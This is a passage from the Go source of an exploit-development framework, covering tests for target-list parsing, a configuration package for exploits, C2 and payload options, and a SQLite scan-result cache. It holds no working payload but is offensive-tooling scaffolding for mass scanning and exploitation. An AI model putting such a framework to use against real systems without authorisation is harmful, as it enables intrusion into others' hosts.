rhostsFile) { t.Fatal("commonValidate should fail with an empty Rhost") } conf.Rhost = "10.9.49.99" if commonValidate(conf, rhosts, rports, rhostsFile) { t.Fatal("commonValidate should fail with no supplied action") } conf.DoVerify = true if !commonValidate(conf, rhosts, rports, rhostsFile) { t.Fatal("commonValidate should succeed with rhost, rport, and doVerify") } conf.Rhost = "" if !commonValidate(conf, "127.0.0.1", "1270,1280", rhostsFile) { t.Fatal("commonValidate should have succeeded") } if !commonValidate(conf, "127.0.0.1,127.0.0.2", rports, rhostsFile) { t.Fatal("commonValidate have succeeded") } } func TestRhostsParsing(t *testing.T) { conf := config.New(config.CodeExecution, []c2.Impl{c2.SimpleShellServer}, "test product", "CVE-2023-1270", 1270) if !handleRhostsOptions(conf, "127.0.0.1,127.0.0.2", "80,443", "") { t.Fatal("commonValidate should succeed") } if len(conf.RhostsNTuple) != 4 { t.Fatal("Failed to parse rhosts") } if conf.RhostsNTuple[0].Rhost != "127.0.0.1" || conf.RhostsNTuple[1].Rhost != "127.0.0.1" || conf.RhostsNTuple[2].Rhost != "127.0.0.2" || conf.RhostsNTuple[3].Rhost != "127.0.0.2" { t.Fatal("Failed to parse rhosts") } if conf.RhostsNTuple[0].Rport != 80 || conf.RhostsNTuple[1].Rport != 443 { t.Fatal("Failed to parse rports") } conf.RhostsNTuple = make([]config.RhostTriplet, 0) if !handleRhostsOptions(conf, "127.0.0.3", "443", "") { t.Fatal("commonValidate should succeed") } if len(conf.RhostsNTuple) != 1 { t.Fatal("Failed to parse rhosts") } if conf.RhostsNTuple[0].Rhost != "127.0.0.3" { t.Fatal("Failed to parse rhosts") } if conf.RhostsNTuple[0].Rport != 443 { t.Fatal("Failed to parse rports") } conf.RhostsNTuple = make([]config.RhostTriplet, 0) conf.Rhost = "127.0.0.4" if !handleRhostsOptions(conf, "", "443,80,8080", "") { t.Fatal("commonValidate should succeed") } if len(conf.RhostsNTuple) != 3 { t.Fatal("Failed to parse rhosts") } if conf.RhostsNTuple[0].Rhost != "127.0.0.4" { t.Fatal("Failed to parse rhosts") } if conf.RhostsNTuple[0].Rport != 443 { t.Fatal("Failed to parse rports") } if conf.RhostsNTuple[1].Rport != 80 { t.Fatal("Failed to parse rports") } if conf.RhostsNTuple[2].Rport != 8080 { t.Fatal("Failed to parse rports") } conf.Rhost = "" conf.RhostsNTuple = make([]config.RhostTriplet, 0) if !handleRhostsOptions(conf, "192.168.1.0/24", "80", "") { t.Fatal("commonValidate should succeed") } if len(conf.RhostsNTuple) != 256 { t.Fatal("Failed to parse rhosts") } conf.RhostsNTuple = make([]config.RhostTriplet, 0) if !handleRhostsOptions(conf, "192.168.1.0/24", "80,8080", "") { t.Fatal("commonValidate should succeed") } if len(conf.RhostsNTuple) != 512 { t.Fatal("Failed to parse rhosts") } } func TestParseTuple(t *testing.T) { conf := config.New(config.CodeExecution, []c2.Impl{c2.SimpleShellServer}, "test product", "CVE-2023-1270", 1270) if !parseTuple(conf, "example.com:80") { t.Fatal("ParseTuple should succeed") } if len(conf.RhostsNTuple) != 1 { t.Fatal("Missing Rhosts entry") } if conf.RhostsNTuple[0].Rport != 80 { t.Fatal("Invalid tuple parsing") } if conf.RhostsNTuple[0].Rhost != "example.com" { t.Fatal("Invalid tuple parsing") } conf.RhostsNTuple = make([]config.RhostTriplet, 0) if parseTuple(conf, "example.com") { t.Fatal("ParseTuple should have failed") } if parseTuple(conf, "example.com:hi") { t.Fatal("ParseTuple should have failed") } if !parseTuple(conf, "127.0.0.5:8080") { t.Fatal("ParseTuple should succeed") } if len(conf.RhostsNTuple) != 1 { t.Fatal("Missing Rhosts entry") } if conf.RhostsNTuple[0].Rport != 8080 { t.Fatal("Invalid tuple parsing") } if conf.RhostsNTuple[0].Rhost != "127.0.0.5" { t.Fatal("Invalid tuple parsing") } conf.RhostsNTuple = make([]config.RhostTriplet, 0) if !parseTuple(conf, "fe80::1b8c:b574:ebec:81c0:65531") { t.Fatal("ParseTuple should succeed") } if len(conf.RhostsNTuple) != 1 { t.Fatal("Missing Rhosts entry") } if conf.RhostsNTuple[0].Rport != 65531 { t.Fatal("Invalid tuple parsing") } if conf.RhostsNTuple[0].Rhost != "fe80::1b8c:b574:ebec:81c0" { t.Fatal("Invalid tuple parsing") } } func TestParseTriplet(t *testing.T) { conf := config.New(config.CodeExecution, []c2.Impl{c2.SimpleShellServer}, "test product", "CVE-2023-1270", 1270) if !parseTriplet(conf, "example.com,80,") { t.Fatal("parseTriplet should succeed") } if len(conf.RhostsNTuple) != 1 { t.Fatal("Missing Rhosts entry") } if conf.RhostsNTuple[0].Rport != 80 { t.Fatal("Invalid triplet parsing") } if conf.RhostsNTuple[0].Rhost != "example.com" { t.Fatal("Invalid triplet parsing") } conf.RhostsNTuple = make([]config.RhostTriplet, 0) if parseTriplet(conf, "example.com,,") { t.Fatal("parseTriplet should have failed") } if parseTriplet(conf, "example.commhi,") { t.Fatal("parseTriplet should have failed") } if !parseTriplet(conf, "127.0.0.3,8080,") { t.Fatal("parseTriplet should succeed") } if len(conf.RhostsNTuple) != 1 { t.Fatal("Missing Rhosts entry") } if conf.RhostsNTuple[0].Rport != 8080 { t.Fatal("Invalid triplet parsing") } if conf.RhostsNTuple[0].Rhost != "127.0.0.3" { t.Fatal("Invalid triplet parsing") } conf.RhostsNTuple = make([]config.RhostTriplet, 0) if !parseTriplet(conf, "fe80::1b8c:b574:ebec:81c0,65531,") { t.Fatal("parseTriplet should succeed") } if len(conf.RhostsNTuple) != 1 { t.Fatal("Missing Rhosts entry") } if conf.RhostsNTuple[0].Rport != 65531 { t.Fatal("Invalid triplet parsing") } if conf.RhostsNTuple[0].Rhost != "fe80::1b8c:b574:ebec:81c0" { t.Fatal("Invalid triplet parsing") } } func TestParseIntelJSON(t *testing.T) { conf := config.New(config.CodeExecution, []c2.Impl{c2.SimpleShellServer}, "test product", "CVE-2023-1270", 1270) intel := `{"ip":"10.9.49.2","port":80,"ssl":false,"lastSeen":"2024-02-18T23:56:34.454071","asn":"AS33915","country":"Netherlands","country_code":"NL","city":"Hoofddorp","cve":["CVE-2021-36260"],"matches":["Hikvision IP Camera Web Language Command Injection"],"hostnames":["89-220-147-28.cable.dynamic.v4.ziggo.nl"],"type":{"id":"initial-access","finding":"potentially vulnerable"},"feed_ids":["a65d5009-f84b-4c3d-8803-1f8b1246ddeb"]}` if !parseIPIntel(conf, intel) { t.Fatal("parseTriplet should succeed") } if len(conf.RhostsNTuple) != 1 { t.Fatal("Missing Rhosts entry") } if conf.RhostsNTuple[0].Rport != 80 { t.Fatal("Invalid triplet parsing") } if conf.RhostsNTuple[0].Rhost != "10.9.49.2" { t.Fatal("Invalid triplet parsing") } if conf.RhostsNTuple[0].SSL != config.SSLDisabled { t.Fatal("Invalid triplet parsing") } conf.RhostsNTuple = make([]config.RhostTriplet, 0) intel = `{"ip":"fe80::1b8c:b574:ebec:81c8","port":81,"ssl":true,"lastSeen":"2024-02-18T23:56:34.454071","asn":"AS33915","country":"Netherlands","country_code":"NL","city":"Hoofddorp","cve":["CVE-2021-36260"],"matches":["Hikvision IP Camera Web Language Command Injection"],"hostnames":["89-220-147-28.cable.dynamic.v4.ziggo.nl"],"type":{"id":"initial-access","finding":"potentially vulnerable"},"feed_ids":["a65d5009-f84b-4c3d-8803-1f8b1246ddeb"]}` if !parseIPIntel(conf, intel) { t.Fatal("parseTriplet should succeed") } if len(conf.RhostsNTuple) != 1 { t.Fatal("Missing Rhosts entry") } if conf.RhostsNTuple[0].Rport != 81 { t.Fatal("Invalid triplet parsing") } if conf.RhostsNTuple[0].Rhost != "fe80::1b8c:b574:ebec:81c8" { t.Fatal("Invalid triplet parsing") } if conf.RhostsNTuple[0].SSL != config.SSLEnabled { t.Fatal("Invalid triplet parsing") } } func TestFileFormatParams(t *testing.T) { conf := config.NewLocal(config.FileFormat, []c2.Impl{}, "test product", "CVE-2023-1270") if !loadFileFormatTemplate("", conf) { t.Fatal("an empty file path should pass validation") } if !loadFileFormatTemplate("commandline_test.go", conf) { t.Fatal("failed to load the file format template") } if !strings.Contains(conf.FileTemplateData, "TestFileFormatParams") { t.Fatal("failed to load the file format template") } } ================================================ FILE: config/config.go ================================================ // Exploit and framework configuration. package config import ( "bytes" "flag" "fmt" "strings" "text/template" "github.com/vulncheck-oss/go-exploit/c2" "github.com/vulncheck-oss/go-exploit/c2/shelltunnel" "github.com/vulncheck-oss/go-exploit/output" "github.com/vulncheck-oss/go-exploit/payload" "github.com/vulncheck-oss/go-exploit/protocol" ) type ExploitType int const ( CodeExecution ExploitType = 0 InformationDisclosure ExploitType = 1 Webshell ExploitType = 2 FileFormat ExploitType = 3 Local ExploitType = 4 ) type ImplementedFeatures struct { AssetDetection bool VersionScanning bool Exploitation bool } type SSLSupport int const ( SSLDisabled SSLSupport = 0 SSLEnabled SSLSupport = 1 SSLAutodiscover SSLSupport = 2 ) type RhostTriplet struct { Rhost string Rport int SSL SSLSupport } // The config struct contains a mix of module specified configurations // and user specified configurations. The Config struct is first generated // by the exploit implementation and then modified by option parsing. type Config struct { // the following are values configured by the exploit module // implemented features describes which three stages the exploit implements Impl ImplementedFeatures // the vendor of the targeted product Vendor string // the targeted products Products []string // A combination of the Vendor and Products strings Product string // the CPE for the targeted product CPE []string // the CVE being tested CVE string // the protocol being targeted Protocol string // the type of exploit being executed ExType ExploitType // the c2 supported by the exploit SupportedC2 []c2.Impl // the payload types that are supported by the exploit SupportedPayloads []payload.Supported // whether to parse payload flags PayloadFlags bool SelectedPayload payload.Supported CustomPayload []byte // Some exploits need to define custom flags. Use the Create*Flag functions // to store them in the following data structures. They can then be fetched // using the Get*Flag functions StringFlagsMap map[string]*string IntFlagsMap map[string]*int UintFlagsMap map[string]*uint BoolFlagsMap map[string]*bool // the following are values configured by the user // target host, the target address/name the exploit will work on Rhost string // target port, the target port the exploit will work on Rport int // a list of specific targets RhostsNTuple []RhostTriplet // local host for remote exploits Lhost string // local port Lport int // bind port Bport int // indicates if the framework should autodetect ssl/plain DetermineSSL bool // indicates if ssl is used in comms SSL bool // indicates if we run the target verify DoVerify bool // indicates if we run the version check DoVersionCheck bool // indicates if we run the exploit DoExploit bool // automatically start the c2 or not C2AutoStart bool // the user requested c2 to use C2Type c2.Impl // C2 server timeout C2Timeout int // Indicates if the c2 server will be handled elsewhere ThirdPartyC2Server bool // The database we are working with DBName string // File format template FileTemplateData string // File format exploit output FileFormatFilePath string } // Convert ExploitType to String. func (eType ExploitType) String() string { switch eType { case CodeExecution: return "CodeExecution" case InformationDisclosure: return "InformationDisclosure" case Webshell: return "Webshell" case FileFormat: return "FileFormat" case Local: return "Local" default: return "Invalid exploit type" } } // Deprecated: New does not affectively describe the affected/targeted product. Use NewRemoteExploit. func New(extype ExploitType, supportedC2 []c2.Impl, product string, cve string, defaultPort int) *Config { returnVal := new(Config) returnVal.ExType = extype returnVal.SupportedC2 = supportedC2 returnVal.Product = product returnVal.CVE = cve returnVal.Rport = defaultPort returnVal.PayloadFlags = false return returnVal } // Deprecated: NewLocal does not affectively describe the affected/targeted product. Use NewLocalExploit. func NewLocal(extype ExploitType, supportedC2 []c2.Impl, product string, cve string) *Config { returnVal := new(Config) returnVal.ExType = extype returnVal.SupportedC2 = supportedC2 returnVal.Product = product returnVal.CVE = cve returnVal.PayloadFlags = false return returnVal } // Defines a new remote exploit and associates with CVE/Product/Protocol metadata. Usage example: // // conf := config.NewRemoteExploit( // config.ImplementedFeatures{AssetDetection: true, VersionScanning: true, Exploitation: true}, // config.CodeExecution, []c2.Impl{c2.SimpleShellServer}, // "Atlassian", []string{"Confluence"}, []string{"cpe:2.3:a:atlassian:confluence"}, // "CVE-2023-22527", "HTTP", 8090) func NewRemoteExploit(implemented ImplementedFeatures, extype ExploitType, supportedC2 []c2.Impl, vendor string, product []string, cpe []string, cve string, protocol string, defaultPort int, ) *Config { newConf := new(Config) newConf.Product = deDupeProductName(product, vendor) newConf.InitFlagsStructs() newConf.Impl = implemented newConf.ExType = extype newConf.SupportedC2 = supportedC2 newConf.Vendor = vendor newConf.Products = product newConf.C2AutoStart = true newConf.CPE = cpe newConf.CVE = cve newConf.Protocol = protocol newConf.Rport = defaultPort newConf.PayloadFlags = false return newConf } func deDupeProductName(product []string, vendor string) string { joinedProducts := strings.Join(product, "/") if joinedProducts == vendor { return vendor } return fmt.Sprintf("%s %s", vendor, joinedProducts) } // Defines a new remote exploit and associates with CVE/Product/Protocol metadata. Usage example:. func NewLocalExploit(implemented ImplementedFeatures, extype ExploitType, supportedC2 []c2.Impl, vendor string, product []string, cpe []string, cve string, ) *Config { newConf := new(Config) newConf.Product = deDupeProductName(product, vendor) newConf.InitFlagsStructs() newConf.Impl = implemented newConf.ExType = extype newConf.SupportedC2 = supportedC2 newConf.Vendor = vendor newConf.Products = product newConf.C2AutoStart = true newConf.CPE = cpe newConf.CVE = cve newConf.PayloadFlags = false return newConf } func (conf *Config) InitFlagsStructs() { conf.StringFlagsMap = make(map[string]*string) conf.IntFlagsMap = make(map[string]*int) conf.UintFlagsMap = make(map[string]*uint) conf.BoolFlagsMap = make(map[string]*bool) } // Create a command line flag for the string var "name" with the default value of "value" and // store the result locally. func (conf *Config) CreateStringFlag(name string, value string, usage string) { valuePtr := &value _, exists := conf.StringFlagsMap[name] if exists { output.PrintfFrameworkWarn("Command line flag '%s' already defined, flag may have unexpected effects", name) } conf.StringFlagsMap[name] = valuePtr flag.StringVar(conf.StringFlagsMap[name], name, value, usage) } // Create a command line flag for the string var "name" with the default value of "value" and // store the result locally *using an external "param" pointer*. func (conf *Config) CreateStringVarFlag(param *string, name string, value string, usage string) { _, exists := conf.StringFlagsMap[name] if exists { output.PrintfFrameworkWarn("Command line flag '%s' already defined, flag may have unexpected effects", name) } conf.StringFlagsMap[name] = param flag.StringVar(param, name, value, usage) } // Create a command line flag for the uint var "name" with the default value of "value" and // store the result locally. func (conf *Config) CreateUintFlag(name string, value uint, usage string) { _, exists := conf.UintFlagsMap[name] if exists { output.PrintfFrameworkWarn("Command line flag '%s' already defined, flag may have unexpected effects", name) } valuePtr := &value conf.UintFlagsMap[name] = valuePtr flag.UintVar(conf.UintFlagsMap[name], name, value, usage) } // Create a command line flag for the uint var "name" with the default value of "value" and // store the result locally *using an external "param" pointer*. func (conf *Config) CreateUintVarFlag(param *uint, name string, value uint, usage string) { _, exists := conf.UintFlagsMap[name] if exists { output.PrintfFrameworkWarn("Command line flag '%s' already defined, flag may have unexpected effects", name) } conf.UintFlagsMap[name] = param flag.UintVar(param, name, value, usage) } // Create a command line flag for the int var "name" with the default value of "value" and // store the result locally. func (conf *Config) CreateIntFlag(name string, value int, usage string) { _, exists := conf.IntFlagsMap[name] if exists { output.PrintfFrameworkWarn("Command line flag '%s' already defined, flag may have unexpected effects", name) } valuePtr := &value conf.IntFlagsMap[name] = valuePtr flag.IntVar(conf.IntFlagsMap[name], name, value, usage) } // Create a command line flag for the int var "name" with the default value of "value" and // store the result locally *using an external "param" pointer*. func (conf *Config) CreateIntVarFlag(param *int, name string, value int, usage string) { _, exists := conf.IntFlagsMap[name] if exists { output.PrintfFrameworkWarn("Command line flag '%s' already defined, flag may have unexpected effects", name) } conf.IntFlagsMap[name] = param flag.IntVar(param, name, value, usage) } // Create a command line flag for the bool var "name" with the default value of "value" and // store the result locally. func (conf *Config) CreateBoolFlag(name string, value bool, usage string) { _, exists := conf.BoolFlagsMap[name] if exists { output.PrintfFrameworkWarn("Command line flag '%s' already defined, flag may have unexpected effects", name) } valuePtr := &value conf.BoolFlagsMap[name] = valuePtr flag.BoolVar(conf.BoolFlagsMap[name], name, value, usage) } // Create a command line flag for the bool var "name" with the default value of "value" and // store the result locally *using an external "param" pointer*. func (conf *Config) CreateBoolVarFlag(param *bool, name string, value bool, usage string) { _, exists := conf.BoolFlagsMap[name] if exists { output.PrintfFrameworkWarn("Command line flag '%s' already defined, flag may have unexpected effects", name) } conf.BoolFlagsMap[name] = param flag.BoolVar(param, name, value, usage) } // Fetch the configured string value for "name". func (conf *Config) GetStringFlag(name string) string { value, ok := conf.StringFlagsMap[name] if !ok { output.PrintfFrameworkError("Requested invalid flag: %s", name) return "" } return *value } // Fetch the configured uint value for "name". func (conf *Config) GetUintFlag(name string) uint { value, ok := conf.UintFlagsMap[name] if !ok { output.PrintfFrameworkError("Requested invalid flag: %s", name) return 0 } return *value } // Fetch the configured uint value for "name". func (conf *Config) GetIntFlag(name string) int { value, ok := conf.IntFlagsMap[name] if !ok { output.PrintfFrameworkError("Requested invalid flag: %s", name) return 0 } return *value } // Fetch the configured uint value for "name". func (conf *Config) GetBoolFlag(name string) bool { value, ok := conf.BoolFlagsMap[name] if !ok { output.PrintfFrameworkError("Requested invalid flag: %s", name) return false } return *value } // Apply the configuration settings to a Go text template. This will take // the `Config` struct and apply it to a `text/template`, allowing for // strings to be built directly from the already set configuration // variables. // // s := conf.ApplyTemplate(`CVE: {{.CVE}} - {{.Product}}`) // output.PrintStatus(s) // Output: CVE: CVE-2024-1337 - OFBiz // // Flags that are user defined with CreateStringFlag and other types are // directly accessible from their map values, for example if a command line // argument is added with conf.CreateStringFlag("output", "do output", // "instructions") it will be accessible via the following ApplyTemplate // call: // // conf.ApplyTemplate(`Output flag {{.StringFlagsMap.output}}`) // // This function only returns the processed string and if a templating // error occurs the function emits a framework error and sets the string to // an empty string. This makes it harder to process any dynamic content and // properly catch errors, but simplifies the return value to only provide a // string. // // This should not be used with potentially attacker controlled input. // // Some Config types might be complex and will require usage of range // components of text/template, follow the package docs if necessary. func (conf *Config) ApplyTemplate(name string) string { t, err := template.New("config-string-template").Parse(name) if err != nil { output.PrintfFrameworkError("Could not create template: %s", err.Error()) return "" } var buf bytes.Buffer if err := t.Execute(&buf, conf); err != nil { output.PrintfFrameworkError("Could not apply template: %s", err.Error()) return "" } return buf.String() } // Generate a URL from a path from the current configuration. This is a // way of invoking protocol.GenerateURL for developer ergonomics during // exploit development. func (conf *Config) GenerateURL(path string) string { return protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, path) } // Disable automatic start of c2 servers. Manually starting is required after // this function is called. This is useful when you have an exploit that // may have multiple stages and you are guaranteed to not need the C2 // setup. An example is an exploit that needs to retrieve a CAPTCHA may not // want to start up the C2 until the first stage is retrieved and the // CAPTCHA is solved. func (conf *Config) DisableC2Start() { conf.C2AutoStart = false } // Some C2 (ShellTunnel) don't actually care how the payload is generated, but // the underlying C2 might be implied depending on how the individual exploit // has been developed. It is certainly not a requirement to call this function // but it can help simplify the handling of secure shell vs insecure. func (conf *Config) ResolveC2Payload() c2.Impl { if conf.C2Type != c2.ShellTunnel { return conf.C2Type } if shelltunnel.GetInstance().SSLShellServer { return c2.SSLShellServer } return c2.SimpleShellServer } // AddPayload provides hints to an exploit about types of payloads that are // supported and then sets up payload command line flags to allow user defined // payload options. // // By default adding support for a payload sets up payload flags. This allows // an exploit to automatically gain support for custom commands or files for // payloads. See payload.Supported for details about which payload type adds // which flags. // // Basic usage of adding support for specific payloads can be seen below: // // supportedPayload := []payload.Supported{ // { // Types: payload.GenericCommand, // Arch: payload.None, // Effects: payload.NoEffects, // Default: true, // }, // { // Types: payload.LinuxELF, // Arch: payload.AMD64, // Effects: payload.UnknownEffects, // }, // { // Types: payload.LinuxELF, // Arch: payload.ARM64, // Effects: payload.Effects{ // payload.FileCreate: []string{"/var/www/html/pwnt", "/var/www/html/pwnt2"}, // }, // }, // } // // conf := config.NewRemoteExploit( // config.ImplementedFeatures{AssetDetection: true, VersionScanning: false, Exploitation: true}, // config.CodeExecution, supportedC2, // "", []string{""}, // []string{""}, "CVE-2023-28324", "HTTP", 80) // conf.AddPayload(supportedPayload[:]...) // // Usage of payload supported options requires some modification to payload // generation logic to check for a custom payload, similarly to selecting C2 // types. Below shows the payload selection type will automatically populate // config.CustomPayload with the contents of the payload specific flag: // // switch conf.SelectedPayload.Types { // case payload.GenericCommand: // output.PrintfStatus("adding GenericCommand") // if conf.HasCustomPayload() { // output.PrintfStatus("using '%s' in place of default", string(conf.CustomPayload)) // } // // continue with non-custom payload generation // case payload.LinuxELF: // output.PrintfStatus("adding LinuxELF") // if conf.HasCustomPayload() { // output.PrintfStatus("using binary len %d in place of default", len(conf.CustomPayload)) // } // // continue with non-custom payload generation // } // // Alternatively, simple payloads can utilize the payload type options // during payload generations to substitute in the custom payloads by using // the type specific checks: // // if conf.HasCustomPayload() { // if conf.SelectedPayload.Type.IsCommand() { // output.PrintfStatus("using '%s' in place of default", string(conf.CustomPayload)) // } else { // output.PrintfStatus("using binary len %d in place of default", len(string(conf.CustomPayload))) // } // } func (conf *Config) AddPayload(p ...payload.Supported) { conf.PayloadFlags = true hasDefault := false for _, pl := range p { if pl.Default { if hasDefault { output.PrintFrameworkError("Cannot have multiple default payloads") return } conf.SelectedPayload = pl hasDefault = true } conf.SupportedPayloads = append(conf.SupportedPayloads, pl) } } // HasCustomPayload checks if the supported payload has a custom flag defined and the data is // populated by the framework. This is useful for payload generation wanting to explicitly // check for if a user has provided a payload. func (conf *Config) HasCustomPayload() bool { if len(conf.SupportedPayloads) == 0 { return false } return len(conf.CustomPayload) > 0 } ================================================ FILE: config/config_test.go ================================================ package config_test import ( "strings" "testing" "github.com/vulncheck-oss/go-exploit/c2" "github.com/vulncheck-oss/go-exploit/config" ) func TestDefaultFlags(t *testing.T) { conf := config.NewRemoteExploit( config.ImplementedFeatures{AssetDetection: true, VersionScanning: true, Exploitation: true}, config.CodeExecution, []c2.Impl{}, "Apache", []string{"OFBiz"}, []string{"cpe:2.3:a:apache:ofbiz"}, "CVE-2024-45507", "HTTP", 80) conf.CreateStringFlag("teststring1", "default!", "string usage") conf.CreateUintFlag("testuint1", 99, "uint usage") conf.CreateIntFlag("testint1", 300, "int usage") conf.CreateBoolFlag("testbool1", true, "bool usage") if conf.GetStringFlag("teststring1") != "default!" { t.Error("Unexpected GetStringFlag results") } if conf.GetStringFlag("wat") != "" { t.Error("Failed string lookup should default to empty string") } if conf.GetUintFlag("teststring1") != 0 { t.Error("Failed uint lookup should default to 0") } if conf.GetUintFlag("testuint1") != 99 { t.Error("Unexpected GetUintFlag results") } if conf.GetIntFlag("testint1") != 300 { t.Error("Unexpected GetIntFlag results") } if !conf.GetBoolFlag("testbool1") { t.Error("Unexpected GetBoolFlag results") } } func TestExternalDefaultFlags(t *testing.T) { conf := config.NewRemoteExploit( config.ImplementedFeatures{AssetDetection: true, VersionScanning: true, Exploitation: true}, config.CodeExecution, []c2.Impl{}, "Apache", []string{"OFBiz"}, []string{"cpe:2.3:a:apache:ofbiz"}, "CVE-2024-45507", "HTTP", 80) testString := "test" conf.CreateStringVarFlag(&testString, "teststring", "default!", "string usage") testUInt := uint(88) conf.CreateUintVarFlag(&testUInt, "testuint", 99, "uint usage") testInt := -88 conf.CreateIntVarFlag(&testInt, "testint", 300, "int usage") testBool := true conf.CreateBoolVarFlag(&testBool, "testbool", true, "bool usage") if conf.GetStringFlag("teststring") != "default!" { t.Error("Unexpected GetStringFlag results") } if conf.GetStringFlag("wat") != "" { t.Error("Failed string lookup should default to empty string") } if conf.GetUintFlag("teststring") != 0 { t.Error("Failed uint lookup should default to 0") } if conf.GetUintFlag("testuint") != 99 { t.Error("Unexpected GetUintFlag results") } if conf.GetIntFlag("testint") != 300 { t.Error("Unexpected GetIntFlag results") } if !conf.GetBoolFlag("testbool") { t.Error("Unexpected GetBoolFlag results") } } func TestApplyTemplate(t *testing.T) { conf := config.NewRemoteExploit( config.ImplementedFeatures{AssetDetection: true, VersionScanning: true, Exploitation: true}, config.CodeExecution, []c2.Impl{}, "Apache", []string{"OFBiz"}, []string{"cpe:2.3:a:apache:ofbiz"}, "CVE-2024-45507", "HTTP", 80) conf.CreateStringFlag("teststring2", "default!", "string usage") conf.CreateUintFlag("testuint2", 99, "uint usage") conf.CreateIntFlag("testint2", 300, "int usage") conf.CreateBoolFlag("testbool2", true, "bool usage") s := conf.ApplyTemplate("{{.CVE}} {{.StringFlagsMap.teststring2}} {{.UintFlagsMap.testuint2}} {{.IntFlagsMap.testint2}} {{.BoolFlagsMap.testbool2}}") if s == "" { t.Error("Template returned error") } s = conf.ApplyTemplate("{{.CVE}} {{.StringFlagsMap.teststring2}} {{.UintFlagsMap.testuint2}} {{.IntFlagsMap.testint2}} {{.BoolFlagsMap.testbool2}}") if s == "" { t.Error("Template returned error") } if s != "CVE-2024-45507 default! 99 300 true" { t.Errorf("'%s' unexpected", s) } } func TestGenerateURL(t *testing.T) { conf := config.NewRemoteExploit( config.ImplementedFeatures{AssetDetection: true, VersionScanning: true, Exploitation: true}, config.CodeExecution, []c2.Impl{}, "Apache", []string{"OFBiz"}, []string{"cpe:2.3:a:apache:ofbiz"}, "CVE-2024-45507", "HTTP", 80) conf.Rhost = "127.13.37.1" conf.Rport = 31337 conf.SSL = true if strings.Compare(conf.GenerateURL("/vulncheck"), `https://127.13.37.1:31337/vulncheck`) != 0 { t.Errorf("GenerateURL did not generate expected HTTPS URL: `%s` != `%s`", conf.GenerateURL("/vulncheck"), `https://127.13.37.1:31337/vulncheck`) } conf.SSL = false if strings.Compare(conf.GenerateURL("/vulncheck"), `http://127.13.37.1:31337/vulncheck`) != 0 { t.Errorf("GenerateURL did not generate expected HTTP URL: `%s` != `%s`", conf.GenerateURL("/vulncheck"), `http://127.13.37.1:31337/vulncheck`) } } ================================================ FILE: db/create.go ================================================ // SQLite Caching and Cross-Exploit Database // // The db package contains the logic to handle a user provided SQLite DB in order // to store results and cache HTTP responses. This has a few useful benefits: // // 1. When scanning with hundreds of go-exploit implementations, the user significantly // cuts down on network requests (therefore speeding up scanning), both from the // verified results being cached (you only have to verify a target is Confluence once) // and from the cached HTTP responses. // 2. The result is a useful asset database containing IP, port, installed software, and // versions. // 3. The database can be reused with a go-exploit and generate no network traffic (assuming // you aren't doing the exploitation stage). That is very interesting when, for example, // you wrote a version scanner for CVE-2024-31982, scanned a customer host that was patched, // but then CVE-2024-31983 is released the next day. You can essentially rescan the cached // version of their system with your new CVE scanner. // // Mostly this package should be totally transparent to users of the framework. The only direct // interface, currently, should be calls to HTTPGetCache. package db import ( "database/sql" "time" "github.com/vulncheck-oss/go-exploit/output" // pure go sqlite3 driver. _ "modernc.org/sqlite" ) // GlobalSQLHandle is a handle to the SQLite DB for handling cross-exploit data sharing. var GlobalSQLHandle *sql.DB // GlobalHTTPRespCacheLimit is the maximum size of an HTTP body that we will attempt to cache. var GlobalHTTPRespCacheLimit int const ( schemaVersion = "1.0.0" metadataTable = `CREATE TABLE IF NOT EXISTS metadata (created INTEGER NOT NULL,schema_version TEXT NOT NULL);` initMetadataTable = `INSERT INTO metadata (created, schema_version) VALUES (?, ?)` checkMetadata = `SELECT name FROM sqlite_master WHERE type ='table' = ? AND name='metadata` getSchemaVersion = `SELECT schema_version FROM metadata;` verifiedTable = `CREATE TABLE IF NOT EXISTS verified(` + `id INTEGER PRIMARY KEY AUTOINCREMENT,` + `created INTEGER NOT NULL,` + `software_name TEXT NOT NULL,` + `installed INTEGER NOT NULL CHECK (installed IN (0, 1)),` + `version TEXT NOT NULL,` + `rhost TEXT NOT NULL,` + `rport INTEGER NOT NULL CHECK (rport >= 0 AND rport <= 65535));` httpCacheTable = `CREATE TABLE IF NOT EXISTS http_cache(` + `id INTEGER PRIMARY KEY AUTOINCREMENT,` + `created INTEGER NOT NULL,` + `rhost TEXT NOT NULL,` + `rport INTEGER NOT NULL CHECK (rport >= 0 AND rport <= 65535),` + `uri TEXT NOT NULL,` + `data BLOB NOT NULL);` ) func InitializeDB(name string) bool { GlobalSQLHandle = nil if len(name) == 0 { return true } handle, err := sql.Open("sqlite", name) if err != nil { output.PrintFrameworkError(err.Error()) return false } if checkMetadataExists(handle) && !checkSchemaVersion(handle) { return false } else if !createMetadataTable(handle) { return false } if !createVerifiedSoftwareTable(handle) || !createHTTPCacheTable(handle) { return false } GlobalSQLHandle = handle return true } func checkMetadataExists(handle *sql.DB) bool { name := "" err := handle.QueryRow(checkMetadata).Scan(&name) return err == nil } func createMetadataTable(handle *sql.DB) bool { _, err := handle.Exec(metadataTable) if err != nil { output.PrintFrameworkError(err.Error()) return false } _, err = handle.Exec(initMetadataTable, time.Now().Unix(), schemaVersion) if err != nil { output.PrintFrameworkError(err.Error()) return false } return true } func checkSchemaVersion(handle *sql.DB) bool { version := "" err := handle.QueryRow(getSchemaVersion).Scan(&version) if err != nil { output.PrintFrameworkError(err.Error()) return false } if version != schemaVersion { output.PrintFrameworkError("Incompatible schema versions") return false } return true } func createVerifiedSoftwareTable(handle *sql.DB) bool { _, err := handle.Exec(verifiedTable) if err != nil { output.PrintFrameworkError(err.Error()) return false } return true } func createHTTPCacheTable(handle *sql.DB) bool { // create the cache table _, err := handle.Exec(httpCacheTable) if err != nil { output.PrintFrameworkError(err.Error()) return false } return true } ================================================ FILE: db/get.go ================================================ package db const ( getCacheData = `SELECT data FROM http_cache WHERE rhost = ? AND rport = ? AND uri = ?` getInstalled = `SELECT installed FROM verified WHERE software_name = ? AND rhost = ? AND rport = ?` ) // Look for an HTTP response in the db cache. func GetHTTPResponse(rhost string, rport int, path string) (string, bool) { if GlobalSQLHandle == nil { return "", false } var retVal []byte err := GlobalSQLHandle.QueryRow(getCacheData, rhost, rport, path).Scan(&retVal) return string(retVal), err == nil } // Check the database to see if the target has been scanned for specific software. If so, return the result (so we don't do it again) // Return is ,. func GetVerified(product string, rhost string, rport int) (bool, bool) { if GlobalSQLHandle == nil { return false, false } retVal := false err := GlobalSQLHandle.QueryRow(getInstalled, product, rhost, rport).Scan(&retVal) return retVal, err == nil } ================================================ FILE: db/update.go ================================================ package db import ( "time" "github.com/vulncheck-oss/go-exploit/output" // pure go 